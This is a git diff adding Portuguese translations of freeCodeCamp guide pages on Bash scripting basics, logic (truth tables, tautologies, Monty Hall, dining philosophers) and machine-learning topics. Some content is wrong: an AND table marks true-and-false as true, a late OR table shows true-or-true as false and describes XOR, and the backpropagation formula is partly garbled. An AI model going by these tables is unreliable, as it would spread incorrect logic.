+Comentários são textos adicionados ao seu script que você pretende ignorar. Os comentários começam com um sinal de libra e são úteis para anotando seu código para que você e outros usuários possam entendê-lo. Para adicionar um comentário, digite o caractere `#` , seguido por qualquer texto isso é útil para você. Bash irá ignorar o `#` e tudo depois dele.
+
+**Nota:** a primeira linha do script não é um comentário. Esta linha é sempre a primeira, sempre começa com `#!` e tem especial significando bash.
+
+Aqui está o script de antes, comentou:
+```
+#!/bin/bash # Designates the path to the bash program. Must start with '#!' (but isn't a comment). 
+ echo "Hi. I'm your new favorite bash script." # 'echo' is a program that sends a string to the screen. 
+```
+
+## Executando um Script
+
+Você pode abrir um editor de texto, colar esse código de exemplo e salvar o arquivo, e você tem um script. Scripts são convencionalmente chamado terminando em '.sh', então você pode salvar esse código como myscript.sh.
+
+O script não será executado até que você faça duas coisas:
+
+**Primeiro, torne-o executável.** (Nós só temos que fazer isso uma vez.) O Linux depende bastante de permissões de arquivos. Eles determinam muito sobre como seu servidor se comporta. Há muito a saber sobre permissões, mas por enquanto só precisamos saber isso: você não pode executar o seu script até que você tenha permissões de execução. Para faça isso, digite:
+
+`chmod +x my script.sh`
+
+**Segundo, corra.** Nós executamos o script a partir da linha de comando, como qualquer outro comando, como `ls` ou `date` . O roteiro name é o comando, e você precisa precedê-lo com um './' quando você o chama:
+
+`./myscript.sh # Outputs "Hi. I'm your new favorite bash script." (This part is a comment!)`
+
+## Condicionais
+
+Às vezes você quer que seu script faça alguma coisa somente se alguma outra coisa for verdadeira. Por exemplo, imprima uma mensagem apenas se um valor for abaixo de um certo limite. Aqui está um exemplo de usar `if` para fazer isso:
+```
+#!/bin/bash 
+ 
+ count=1 # Create a variable named count and set it to 1 
+ 
+ if [[ $count -lt 11 ]]; then # This is an if block (or conditional). Test to see if $count is 10 or less. If it is, execute the instructions inside the block. 
+    echo "$count is 10 or less" # This will print, because count = 1. 
+ fi # Every if ends with fi 
+```
+
+Da mesma forma, podemos organizar o script para que ele execute uma instrução apenas enquanto algo for verdadeiro. Vamos mudar o código para que o valor da variável count muda:
+```
+#!/bin/bash 
+ 
+ count=1 # Create a variable named count and set it to 1 
+ 
+ while [[ $count -lt 11 ]]; do # This is an if block (or conditional). Test to see if $count is 10 or less. If it is, execute the instructions inside the block. 
+    echo "$count is 10 or less" # This will print as long as count <= 10. 
+    count=$((count+1)) # Increment count 
+ done # Every while ends with done 
+```
+
+A saída desta versão do myscript.sh ficará assim:
+```
+"1 is 10 or less" 
+ "2 is 10 or less" 
+ "3 is 10 or less" 
+ "4 is 10 or less" 
+ "5 is 10 or less" 
+ "6 is 10 or less" 
+ "7 is 10 or less" 
+ "8 is 10 or less" 
+ "9 is 10 or less" 
+ "10 is 10 or less" 
+```
+
+## Scripts do mundo real
+
+Esses exemplos não são muito úteis, mas os princípios são. Usando `while` , `if` e qualquer comando que você possa digitar manualmente, você pode criar scripts que fazem um trabalho valioso.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/logic/algebra-of-logic/index.md b/client/src/guide/portuguese/logic/algebra-of-logic/index.md
new file mode 100644
index 0000000000..2be90a327a
--- /dev/null
+++ b/client/src/guide/portuguese/logic/algebra-of-logic/index.md
@@ -0,0 +1,22 @@
+---
+title: Algebra of Logic
+localeTitle: Álgebra da lógica
+---
+## Álgebra da lógica
+
+_Álgebra da lógica_ ou _álgebra booleana_ é um ramo da matemática. Ele lida com variáveis ​​e seu valor de verdade. As variáveis ​​têm dois estados possíveis - `true` ou `false` .
+
+Foi introduzido pela primeira vez por George Boole em seu livro The Mathematical Analysis of Logic (1847).
+
+A álgebra booleana é fundamental para o desenvolvimento da eletrônica digital. É responsável por tornar possível toda a computação moderna.
+
+As três operações básicas da Álgebra Booleana são `AND` , `OR` e `NOT` . Considere duas variáveis ​​booleanas `x` e `y` :
+
+*   `x AND y` é verdadeiro se e somente se `x` e `y` forem verdadeiros
+*   `x OR y` é verdadeiro se e somente se `x` , `y` for verdadeiro. Se `x` , `y` são ambos verdadeiros, `x OR y` ainda é verdadeiro
+*   `NOT x` é verdadeiro se e somente se `x` for falso e vice-versa
+
+### Mais Informações:
+
+*   O cálculo da lógica: [George Boole](http://www.maths.tcd.ie/pub/HistMath/People/Boole/CalcLogic/CalcLogic.html)
+*   Artigo de álgebra booleana: [Wikipedia](https://en.wikipedia.org/wiki/Boolean_algebra)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/logic/conditional-and-biconditional-statements/index.md b/client/src/guide/portuguese/logic/conditional-and-biconditional-statements/index.md
new file mode 100644
index 0000000000..887b9947bc
--- /dev/null
+++ b/client/src/guide/portuguese/logic/conditional-and-biconditional-statements/index.md
@@ -0,0 +1,9 @@
+---
+title: Conditional and Biconditional Statements
+localeTitle: Declarações Condicionais e Biconicionais
+---
+## Declarações Condicionais e Biconicionais
+
+**Declaração condicional:** "se". Se uma coisa é verdadeira, então outra coisa é verdadeira ou pode acontecer. _Exemplo:_ se chover agora, o solo ficará molhado. _No entanto_ , o inverso ("se o chão está molhado, então está chovendo") não é necessariamente verdade.
+
+**_Instrução_** **condicional** **_bi_** **:** "se e somente se". Se uma coisa é verdadeira, então outra coisa é verdadeira; e se essa outra coisa é verdadeira, então a única coisa é verdadeira. Outra maneira de pensar sobre isso é que duas coisas são ou ambas verdadeiras, ou ambas falsas (não uma verdadeira e outra falsa). _Exemplo:_ Um quadrado tem uma área de 16 metros cúbicos se, e somente se, seus lados tiverem 4 metros de comprimento.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/logic/dining-philosophers-problem/index.md b/client/src/guide/portuguese/logic/dining-philosophers-problem/index.md
new file mode 100644
index 0000000000..f1ad9ece49
--- /dev/null
+++ b/client/src/guide/portuguese/logic/dining-philosophers-problem/index.md
@@ -0,0 +1,48 @@
+---
+title: Dining Philosophers Problem
+localeTitle: Jantar Filosofos Problema
+---
+## Jantar Filosofos Problema
+
+Na ciência da computação, o problema dos filósofos de jantar é um problema exemplar frequentemente usado no projeto de algoritmo simultâneo para ilustrar problemas de sincronização e técnicas para resolvê-los. Foi originalmente formulado em 1965 por Edsger Dijkstra como um exercício de exame para estudantes, apresentado em termos de computadores competindo pelo acesso a periféricos de drives de fita. Logo depois, Tony Hoare deu ao problema sua formulação atual.
+
+Em palavras simples, o problema dos filósofos de jantar é uma ilustração de como o acesso sincronizado a um recurso compartilhado pode resultar na criação de uma situação de conflito.
+
+#### Sincronização e Deadlock
+
+**A sincronização** é usada para controlar o acesso simultâneo a um recurso compartilhado. Isso é necessário em qualquer situação em que vários atores independentes possam estar competindo pelo uso de um recurso. Como há apenas um recurso disponível, usamos a sincronização para evitar confusão e caos.
+
+Um **Deadlock** é um estado do sistema em que nenhum progresso é possível. Essa situação pode ocorrer quando a sincronização é imposta e muitos processos acabam aguardando um recurso compartilhado que está sendo mantido por algum outro processo. Nesse caso, os processos continuam aguardando e não executam mais.
+
+#### Declaração do problema
+
+Cinco filósofos silenciosos sentam-se em uma mesa redonda com tigelas de espaguete. Garfos são colocados entre cada par de filósofos adjacentes.
+
+Cada filósofo deve alternadamente pensar e comer. No entanto, um filósofo só pode comer espaguete quando tem garfos esquerdo e direito. Cada garfo pode ser mantido por apenas um filósofo e, portanto, um filósofo só pode usar o garfo se não estiver sendo usado por outro filósofo. Depois que um filósofo individual termina de comer, eles precisam colocar os dois garfos de modo que os garfos fiquem à disposição dos outros. Um filósofo pode pegar o garfo à direita ou o da esquerda à medida que se tornam disponíveis, mas não pode começar a comer antes de pegar os dois garfos. ( **Sincronização** )
+
+Comer não é limitado pelas quantidades remanescentes de espaguete ou espaço estomacal; um suprimento infinito e uma demanda infinita são assumidos.
+
+O problema é como projetar uma disciplina de comportamento (um algoritmo concorrente) tal que nenhum filósofo passará fome; isto é, cada um pode continuar alternando entre comer e pensar, assumindo que nenhum filósofo pode saber quando outros podem querer comer ou pensar. ( **Evitar deadlock** )
+
+Inicialmente, pode parecer que o impasse não é facilmente possível. Para ver que uma solução adequada para esse problema não é óbvia, considere uma proposta na qual cada filósofo é instruído a se comportar da seguinte maneira:
+
+1.  pense até que o garfo esquerdo esteja disponível; quando for, pegue-a;
+2.  pense até que o garfo direito esteja disponível; quando for, pegue-a;
+3.  quando os dois garfos são mantidos, coma por um período fixo de tempo;
+4.  depois, coloque o garfo direito para baixo;
+5.  depois, abaixe o garfo esquerdo;
+6.  repita desde o começo.
+
+Essa tentativa de solução falha porque permite que o sistema atinja um estado de deadlock, no qual nenhum progresso é possível. Este é um estado no qual cada filósofo pegou o garfo para a esquerda e está esperando a bifurcação à direita se tornar disponível, ou vice-versa. Com as instruções dadas, esse estado pode ser alcançado e, quando atingido, os filósofos aguardarão eternamente um pelo outro para liberar uma bifurcação. ( **Deadlock e Starvation** )
+
+Existem muitas soluções possíveis para evitar o Deadlock. Se olharmos de perto, um problema no algoritmo acima é que todos os filósofos têm chances iguais (têm a mesma prioridade) de adquirir um fork. Isso impede que qualquer pessoa adquira dois garfos e todo o sistema é interrompido.
+
+Soluções incluem: -
+
+1.  Prioridade - Alguns filósofos recebem prioridade mais alta, de modo que a chance de adquirir os dois garfos é aumentada.
+2.  Preempção (Polidez) - Os filósofos renunciam ao garfo adquirido sem comer, caso o outro garfo não esteja disponível.
+3.  Arbitragem - Um mediador aloca garfos garantindo que dois garfos sejam dados a uma pessoa, ibnstaed de um para muitos.
+
+#### Mais Informações:
+
+https://www.wikiwand.com/en/Dining _philosophers_ problem
\ No newline at end of file
diff --git a/client/src/guide/portuguese/logic/index.md b/client/src/guide/portuguese/logic/index.md
new file mode 100644
index 0000000000..12d110cc7a
--- /dev/null
+++ b/client/src/guide/portuguese/logic/index.md
@@ -0,0 +1,11 @@
+---
+title: Logic
+localeTitle: Lógica
+---
+## Lógica
+
+A lógica da ciência da computação cobre a sobreposição entre o campo da lógica e o da ciência da computação. O tópico pode essencialmente ser dividido em três áreas principais:
+
+Fundamentos e análises teóricas Uso de tecnologia de computadores para ajudar os lógicos Uso de conceitos da lógica para aplicativos de computador
+
+Nesta seção, teremos guias para uma ampla variedade de quebra-cabeças lógicos que são importantes para matemática e programação.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/logic/knights-and-knaves/index.md b/client/src/guide/portuguese/logic/knights-and-knaves/index.md
new file mode 100644
index 0000000000..a1c8dd3572
--- /dev/null
+++ b/client/src/guide/portuguese/logic/knights-and-knaves/index.md
@@ -0,0 +1,26 @@
+---
+title: Knights and Knaves Puzzles
+localeTitle: Cavaleiros e Knaves Puzzles
+---
+## Cavaleiros e patas
+
+Um tipo de quebra-cabeças lógicos, esses quebra-cabeças têm a ver com dois tipos de pessoas. Cavaleiros: pessoas que só dizem a verdade e os Knaves: pessoas que só contam mentiras. Raymond Smullyan coletou dezenas de quebra-cabeças como este em seu livro "Qual é o nome deste livro?". A forma como os quebra-cabeças funcionam é que uma pessoa visita uma ilha onde encontra um habitante ou grupo. O visitante deve usar suas habilidades lógicas para descobrir quem é o cavaleiro e quem é o patife.
+
+## Puzzles de Amostra
+
+### Vermelho e azul
+
+Duas pessoas, vermelho e azul, estão diante de você. Red diz: “Nós somos ambos patifes”. O que eles são realmente?
+
+**Solução: O** vermelho não pode ser um cavaleiro, porque então ele estaria mentindo dizendo que ele é um patife. Portanto ele é um patife, e sua declaração é uma mentira, significando que Blue deve ser um cavaleiro.
+
+### Qual caminho seguir?
+
+Você chega a uma bifurcação em uma estrada e precisa aprender qual caminho leva ao seu destino. Dois indivíduos estão de pé lá. Você sabe que um é um cavaleiro e um é um valete, mas você não sabe qual é qual. Que pergunta sim-ou-não você poderia pedir a um dos ilhéus para aprender o caminho correto?
+
+**Solução:** Aponte para um caminho e pergunte a um deles: “O outro me diria que esse é o caminho correto?” Se a resposta for Não, esse é o caminho correto; se sim, é o caminho incorreto.
+
+#### Mais Informações:
+
+*   [Qual é o nome deste livro? da Amazônia](https://www.amazon.com/gp/product/0486481980/ref=as_li_qf_sp_asin_il_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=0486481980&linkCode=as2&tag=brenconl05-20&linkId=UU6GFKPWEKZFK2XG)
+*   [Artigo da Wikipédia](https://en.wikipedia.org/wiki/Knights_and_Knaves)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/logic/logical-operators/index.md b/client/src/guide/portuguese/logic/logical-operators/index.md
new file mode 100644
index 0000000000..f6b669725b
--- /dev/null
+++ b/client/src/guide/portuguese/logic/logical-operators/index.md
@@ -0,0 +1,46 @@
+---
+title: Logical Operators
+localeTitle: Operadores lógicos
+---
+## Operadores lógicos
+
+**AND (&&)**  
+A && B retorna True se tanto A quanto B forem verdadeiros. Se A ou B (ou ambos) forem False, então A && B será False.
+
+| A | B | AND (A, B) | | --- | --- | --- | | f | t | f | | f | f | f | | t | t | t | | t | f | t |
+
+**OR (||)**  
+A || B retorna True se A ou B (ou ambos, A e B) forem verdadeiros. Apenas retorna False se tanto A quanto B forem False.
+
+| A | B | OR (A, B) | | --- | --- | --- | | f | t | t | | f | f | f | | t | t | t | | t | f | t |
+
+**NÃO (!)**  
+Retorna o valor oposto. Ex. se A é verdadeiro, então! A é falso, e se A é falso, então! A é verdadeiro. Este é o único operador lógico que trabalha em apenas uma entrada, o que torna um operador unário.
+
+| A | B | NÃO (A) | NÃO SER) | --- | --- | --- | --- | | f | t | t | f | | f | f | t | t | | t | t | f | f | | t | f | f | t |
+
+**XOR ("eXclusive ou")**  
+É conhecido como **exclusivo ou** . Semelhante a OR, mas retorna False se A e B forem verdadeiros. Ou seja, XOR retorna true se um e apenas um de A ou B for True.
+
+| A | B | XOR (A, B) | | --- | --- | --- | | f | t | t | | f | f | f | | t | t | f | | t | f | t |
+
+**Implicação (A -> B)**  
+Leia como "se A, depois B" ou "A implica B". Apenas retorna False quando A é True e B é False. Caso contrário, a implicação é verdadeira.  
+![](http://sites.millersville.edu/bikenaga/math-proof/truth-tables/truth-tables13.png)
+
+Nota: Implicações são frequentemente usadas para provas matemáticas diretas. A representa a hipótese, enquanto B é a conclusão.
+
+A única vez que a condicional é falsa é quando um valor verdadeiro leva a um valor falso.
+
+| A | B | IF (A, B) | | --- | --- | --- | | f | t | t | | f | f | t | | t | t | t | | t | f | f |
+
+**Equivalência lógica (iff: if and only if)**  
+"P se e somente se Q" é o mesmo que "P implica Q e Q implica P". Em outras palavras, as tabelas de verdade para P e Q são idênticas para todos os valores de verdade. Isso é conhecido como o biconditional. É o equivalente de A -> B **AND** B -> A. Isso significa que ambas as condicionais devem ser satisfeitas para que a bicondicional seja verdadeira.
+
+Você pode ver facilmente que a saída do operador IFF na tabela verdade é a mesma que a AND das colunas 3 e 4.
+
+| A | B | IF (A, B) | SE (B, A) | IFF (A, B) | | --- | --- | --- | --- | --- | | f | t | t | f | f | | f | f | t | t | t | | t | t | t | t | t | | t | f | f | t | f |
+
+#### Mais Informações:
+
+\+ \* [Operadores lógicos em Javascript](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators) + \* [Operadores lógicos em PHP](http://php.net/manual/en/language.operators.logical.php) + \* [Operadores lógicos em C ++](http://en.cppreference.com/w/cpp/language/operator_logical)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/logic/mobsters-riddle/index.md b/client/src/guide/portuguese/logic/mobsters-riddle/index.md
new file mode 100644
index 0000000000..073a1d2431
--- /dev/null
+++ b/client/src/guide/portuguese/logic/mobsters-riddle/index.md
@@ -0,0 +1,11 @@
+---
+title: Mobsters Riddle
+localeTitle: Riddle dos mafiosos
+---
+## Riddle dos mafiosos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/logic/mobsters-riddle/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/logic/monty-hall-problem/index.md b/client/src/guide/portuguese/logic/monty-hall-problem/index.md
new file mode 100644
index 0000000000..c77136d61d
--- /dev/null
+++ b/client/src/guide/portuguese/logic/monty-hall-problem/index.md
@@ -0,0 +1,29 @@
+---
+title: Monty Hall Problem
+localeTitle: Problema de Monty Hall
+---
+## Problema de Monty Hall
+
+O Problema de Monty Hall é um enigma sobre a probabilidade em homenagem ao apresentador do programa dos anos 70, baseado em Let's Make a Deal. Esse problema em particular é um paradoxo verídico. Isso significa que há uma solução que parece contra-intuitiva, mas que se provou verdadeira.
+
+O problema define da seguinte maneira; Você está em um game show e há 3 portas, cada uma com um prêmio diferente por trás delas. Atrás de uma das três portas há um carro. Os outros dois têm cabras. Você deve escolher uma das 3 portas para selecionar como seu prêmio. Digamos que você escolha a porta 1, mas antes que a porta se abra, Monty decide abrir a porta 2, que revela uma cabra. Ele agora pergunta se você gostaria de escolher a porta 3. Você deve escolher a Porta 3 acima da sua escolha original? Isso importa mesmo?
+
+Acontece que a escolha é importante e é realmente para o seu benefício para mudar sua decisão para a porta 3! Aqui está o porquê. Quando você escolheu a Porta 1 das 3 portas fechadas, você teve uma chance de 1 em 3 de escolher a direita. Tanto a porta 2 como a porta 3 também têm 1 em cada 3 chances de ter um carro atrás dela. Você também pode dizer que as Portas 2 e 3 têm 2 de 3 chances de ter um carro atrás dele _combinado_ .
+
+![Probability before revealing a goat](https://i.imgur.com/8EsVvZk.png "Probabilidade antes de revelar uma cabra")
+
+Agora, quando o host abre a porta 2 e contém uma cabra, você agora tem mais informações sobre o problema. Lembre-se que as Portas 2 e 3 têm uma probabilidade combinada contendo um carro 2 / 3rds do tempo. Com a porta revelada, você sabe que a porta 2 não tem carro. Mas essa revelação não altera a probabilidade combinada das duas portas. Essa é a chave aqui! Como agora sabemos que a porta 2 tem 0/3 de chance de exibir um carro, agora você pode dizer que a porta 3 tem uma chance de 2 / 3rds de conter um carro. Combinando as probabilidades da porta 2 e porta 3 ainda somam 2 / 3rds como era antes da porta 2 aberta. A porta 1 permanece inalterada e tem apenas 1/3 de chance. Então, se você decidir mudar você vai de uma chance de 33,33% para 66,67% de escolher o carro. Em outras palavras, você está dobrando suas chances de sucesso trocando de lugar!
+
+![Probability after revealing a goat](https://i.imgur.com/V2JzAka.png "Probabilidade após revelar uma cabra")
+
+Sim, é possível que a porta 1 tivesse o carro o tempo todo e Monty enganou você. Isso não importa. Você está apostando, aceitando o acordo, mas está jogando de maneira inteligente. Você toma sua melhor decisão com as informações que lhe são dadas e deixa os dados rolarem. No longo prazo, você realiza uma melhor troca do que um competidor que decide manter sua primeira escolha. No final, Monty realmente se engana oferecendo-lhe um melhor negócio.
+
+#### Mais Informações:
+
+[Problema Monty Hall - Numberfile](https://www.youtube.com/watch?time_continue=1&v=4Lb-6rxZxx0)
+
+[21 Kevin Spacey Problema Monty Hall](https://www.youtube.com/watch?v=YReov4c3taI)
+
+#### Mais Informações:
+
+*   Artigo do problema de Monty Hall: [Wikipedia](https://en.wikipedia.org/wiki/Monty_Hall_problem)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/logic/normal-forms/index.md b/client/src/guide/portuguese/logic/normal-forms/index.md
new file mode 100644
index 0000000000..2071e5f368
--- /dev/null
+++ b/client/src/guide/portuguese/logic/normal-forms/index.md
@@ -0,0 +1,11 @@
+---
+title: Normal Forms
+localeTitle: Formulários Normais
+---
+## Formulários Normais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/logic/tautologies/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/logic/satisfiability/index.md b/client/src/guide/portuguese/logic/satisfiability/index.md
new file mode 100644
index 0000000000..faee65a855
--- /dev/null
+++ b/client/src/guide/portuguese/logic/satisfiability/index.md
@@ -0,0 +1,16 @@
+---
+title: Satisfiability
+localeTitle: Satisfiabilidade
+---
+## Satisfiabilidade
+
+Uma fórmula P é considerada **satisfatória** se **algumas vezes** for verdadeira para alguma atribuição de verdadeiro / falso às variáveis.
+
+Exemplo:
+
+*   x ^ y: é satisfazível com x = T, y = T
+*   xvy -> x: é satisfazível com x = T, y = F
+
+Se não houver atribuições, então é considerado Insaturável.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/logic/tautologies/index.md b/client/src/guide/portuguese/logic/tautologies/index.md
new file mode 100644
index 0000000000..84a074b5b0
--- /dev/null
+++ b/client/src/guide/portuguese/logic/tautologies/index.md
@@ -0,0 +1,67 @@
+---
+title: Tautologies
+localeTitle: Tautologias
+---
+## Tautologias
+
+### Definição
+
+Na lógica, uma tautologia é uma afirmação verdadeira em todos os casos possíveis. O oposto de uma tautologia é uma contradição, uma afirmação falsa em todos os casos possíveis.
+
+### Exemplo
+
+p
+
+q
+
+p OR q
+
+p → p OU q
+
+T
+
+T
+
+T
+
+T
+
+T
+
+F
+
+T
+
+T
+
+F
+
+T
+
+T
+
+T
+
+F
+
+F
+
+F
+
+T
+
+Como podemos ver na tabela verdade, a afirmação "p → p OR q" é sempre verdadeira (veja a última coluna).
+
+Um exemplo em termos de lógica booleana é `B || !B` É sempre verdade que B é verdadeiro ou B não é verdadeiro.
+
+O oposto de uma tautologia é uma contradição, uma fórmula que é "sempre falsa". Em outras palavras, uma contradição é falsa para cada atribuição de valores de verdade aos seus componentes simples.
+
+Um exemplo de uma contradição com a lógica booleana é `B && !B` É impossível que B seja verdadeiro e falso ao mesmo tempo.
+
+#### Nota
+
+A seta significa simplesmente "implica". p implica p OR q, também pode significar _se… então…_
+
+#### Mais Informações:
+
+[Tautologia da Wikipédia (lógica)](https://en.wikipedia.org/wiki/Tautology_(logic)) [Tabelas da Verdade do Youtube](https://www.youtube.com/watch?v=O0KbymjE7xU) [Símbolos da Lógica da Wikipédia](https://en.wikipedia.org/wiki/List_of_logic_symbols)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/logic/truth-tables/index.md b/client/src/guide/portuguese/logic/truth-tables/index.md
new file mode 100644
index 0000000000..65d9038c21
--- /dev/null
+++ b/client/src/guide/portuguese/logic/truth-tables/index.md
@@ -0,0 +1,74 @@
+---
+title: Truth Tables
+localeTitle: Tabelas Verdade
+---
+## Tabelas Verdade
+
+Uma tabela de verdade é uma ferramenta matemática usada na álgebra booleana. Consiste em uma coluna cada para as variáveis ​​de função. Uma coluna final contém o valor funcional avaliado para os valores correspondentes das variáveis. Para uma função booleana de n variáveis, sua expansão da tabela de verdade terá 2 ^ n linhas. Isto é porque cada variável tem dois estados possíveis - verdadeiro e falso.
+
+### E
+
+Vamos explorar a tabela de verdade para o operador AND:
+
+| x | y | x AND y | | --- | --- | --- | | F | F | F | | F | T | F | | T | F | F | | T | T | T |
+
+AND é operador binário. Ele opera em duas variáveis, digamos `x` , `y` .
+
+Assim, temos 2 ^ 2 = 4 colunas na nossa tabela de verdade!
+
+A última coluna é o valor funcional - x AND y. A lógica para a operação AND é que, se os valores de x e y forem ambos True apenas, a saída terá o valor True else, seria False.
+
+Da mesma forma tabelas de verdade para outros operadores lógicos -
+
+### NÃO
+
+| x | NÃO X | | --- | --- | | F | T | | T | F |
+
+### OU
+
+| x | y | x ou y | | --- | --- | --- | | F | F | F | | F | T | T | | T | F | T | | T | T | T |
+
+### XOR
+
+| x | y | x XOR y | | --- | --- | --- | | F | F | F | | F | T | T | | T | F | T | | T | T | F |
+
+Operador OR:
+
+| x | y | x ou y | | --- | --- | --- | | F | F | F | | F | T | T | | T | F | T | | T | T | T |
+
+NÃO operador:
+
+| x | NÃO x | | --- | --- | | F | T | | T | F |
+
+Operador de Implicação:
+
+| x | y | x IMPLICAR y | | --- | --- | --- | | F | F | T | | F | T | T | | T | F | F | | T | T | T |
+
+O operador de implicação muitas vezes pode ser confuso para alguns. É útil relacionar exemplos do mundo real para auxiliar a compreensão desse operador. Por exemplo, considere: Se estiver chovendo, eu uso um guarda-chuva. Aqui, assumindo que está chovendo, então eu uso um guarda-chuva (declaração segura) Mas se está chovendo e eu não uso um guarda-chuva, então a declaração não é válida. Apesar disso, se não está chovendo, e eu ainda uso um guarda-chuva, então a afirmação também é válida (não importa realmente se o guarda-chuva é usado ou não, já que não está chovendo. Embora pareça bastante estranho).
+
+No entanto, o operador de implicação pode ser intrigante para proposições envolvidas que são falsas no mundo real. Considerar: Se o sol for feito de água, então 1 + 1 = 3. De acordo com a tabela de verdade da implicação, essa fórmula proposicional é verdadeira.
+
+P implica que Q também pode ser pensado como uma abreviação para NOT (P) OR Q.
+
+Operador de implicação dupla:
+
+| x | y | x <-> y | | --- | --- | --- | | F | F | T | | F | T | F | | T | F | F | | T | T | T |
+
+Tabelas de verdade são uma ferramenta poderosa. Eles podem ser usados ​​para expressar e avaliar funções e operações booleanas simples, circuitos combinacionais complexos e circuitos lógicos sequenciais!
+
+Aqui está a tabela de verdade para o operador OR
+
+| x | y | x ou y | | --- | --- | --- | | F | F | F | | F | T | T | | T | F | T | | T | T | F |
+
+Assim como acima, o operador OR opera com duas variáveis, observe que a única vez que o operador OR é avaliado como True é quando `x` & `y` nega um ao outro.
+
+Vamos fazer mais um, vamos fazer a tabela para a Negação, esta opera em um valor ao invés de dois
+
+| x | NÃO x | | --- | --- | | T | F | | F | T |
+
+Esta regra é mais simples e simplesmente nega o valor original de `x`
+
+#### Mais Informações:
+
+*   [Hiperfísica - Universidade Estadual da Geórgia](http://hyperphysics.phy-astr.gsu.edu/hbase/Electronic/truth.html)
+*   [Wikipedia](https://en.wikipedia.org/wiki/Truth_table)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/backpropagation/index.md b/client/src/guide/portuguese/machine-learning/backpropagation/index.md
new file mode 100644
index 0000000000..69d07c8195
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/backpropagation/index.md
@@ -0,0 +1,48 @@
+---
+title: Backpropagation
+localeTitle: Retropropagação
+---
+## Retropropagação
+
+Backprogapation é um subtópico de [redes neurais](../neural-networks/index.md) e é o processo pelo qual você calcula os gradientes de cada nó na rede. Esses gradientes medem o "erro" que cada nó contribui para a camada de saída, portanto, no treinamento de uma rede neural, esses gradientes são minimizados.
+
+Nota: A retropropagação e o aprendizado de máquina em geral exigiam uma familiaridade significativa com a álgebra linear e a manipulação de matrizes. O curso ou leitura sobre este tópico é altamente recomendado antes de tentar entender o conteúdo deste artigo.
+
+### Computação
+
+O processo de retropropagação pode ser explicado em três etapas.
+
+Dada a seguinte
+
+*   m exemplos de treinamento (x, y) em uma rede neural de camadas L
+*   g = a função sigmóide
+*   Theta (i) = a matriz de transição do ith para o i + 1th layer
+*   a (l) = g (z (l)); uma matriz dos valores dos nós na camada l com base em um exemplo de treinamento
+*   z (l) = Theta (l-1) a (l-1)
+*   Delta um conjunto de matrizes L representando as transições entre a camada i e a camada 1 +
+*   d (l) = a matriz dos gradientes da camada l para um exemplo de treinamento
+*   D um conjunto de L matricies com os gradientes finais para cada nó
+*   lambda o termo de regualrização para a rede
+
+Neste caso, para a matriz M, M 'denotará a transposição da matriz M
+
+1.  Atribua todas as entradas do Delta (i), para i de 1 a L, zero.
+2.  Para cada exemplo de treinamento t de 1 a m, faça o seguinte:
+
+*   executar a propagação progressiva em cada exemplo para calcular a (l) e z (l) para cada camada
+*   compute d (L) = a (L) - y (t)
+*   calcule d (l) = (Theta (l) '• d (l + 1)) • g (z (l)) para l de L-1 a 1
+*   incremento Delta (l) por delta (l + 1) • a (l) '
+
+1.  Conecte as matrizes Delta em nossas matrizes derivadas parciais D (l) = 1 \\ m (Delta (l) + lambda <Teta (l)); se eu ≠ 0 D (l) = 1 \\ m? Delta (l); se l = 0
+
+É claro, apenas ver este artigo parece extremamente complicado e deve realmente ser entendido apenas em contextos maiores de redes neurais e aprendizado de máquina. Por favor, olhe as referências para uma melhor compreensão do tópico como um todo.
+
+#### Mais Informações:
+
+*   [Palestra 4 CS231n Introdução às Redes Neurais](https://youtu.be/d14TUNcbn1k?t=354)
+*   [Siraj Raval - Backpropagation em 5 minutos](https://www.youtube.com/watch?v=q555kfIFUCM)
+*   [Curso de ML de Andrew Ng](https://www.coursera.org/learn/machine-learning/)
+*   [Em profundidade, artigo de estilo wiki](https://brilliant.org/wiki/backpropagation/)
+*   [Backprop na Wikipédia](https://en.wikipedia.org/wiki/Backpropagation)
+*   [Um exemplo de retropropagação passo a passo](https://mattmazur.com/2015/03/17/a-step-by-step-backpropagation-example/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/bayes-classifier/index.md b/client/src/guide/portuguese/machine-learning/bayes-classifier/index.md
new file mode 100644
index 0000000000..4c09ab7e95
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/bayes-classifier/index.md
@@ -0,0 +1,18 @@
+---
+title: Bayes Classifier
+localeTitle: Classificador de Bayes
+---
+O Bayes Classifier é baseado na aplicação do Teorema de Bayes para atualizar sua crença na probabilidade de um evento ocorrer.
+
+![Teorema de Bayes](https://github.com/Cheungo/bayes_theorem_image/blob/master/CodeCogsEqn.gif?raw=true)
+
+O Teorema de Bayes permite calcular a probabilidade de B dado A, desde que você tenha probabilidades para A dado B, A e B.
+
+O Bayes Classifier modela a incerteza mantendo as probabilidades para cada um dos cenários possíveis. À medida que mais informações se tornam disponíveis, as probabilidades são atualizadas para refletir com mais precisão o que é agora conhecido sobre a situação em questão.
+
+#### Leitura sugerida:
+
+*   https://monkeylearn.com/blog/practical-explanation-naive-bayes-classifier/
+*   https://en.wikipedia.org/wiki/Naive _Bayes_ classificador
+*   https://youtu.be/XcwH9JGfZOU (Parte 1)
+*   https://youtu.be/k2diLn5Nqbs (parte 2)
\ No newline at end of file
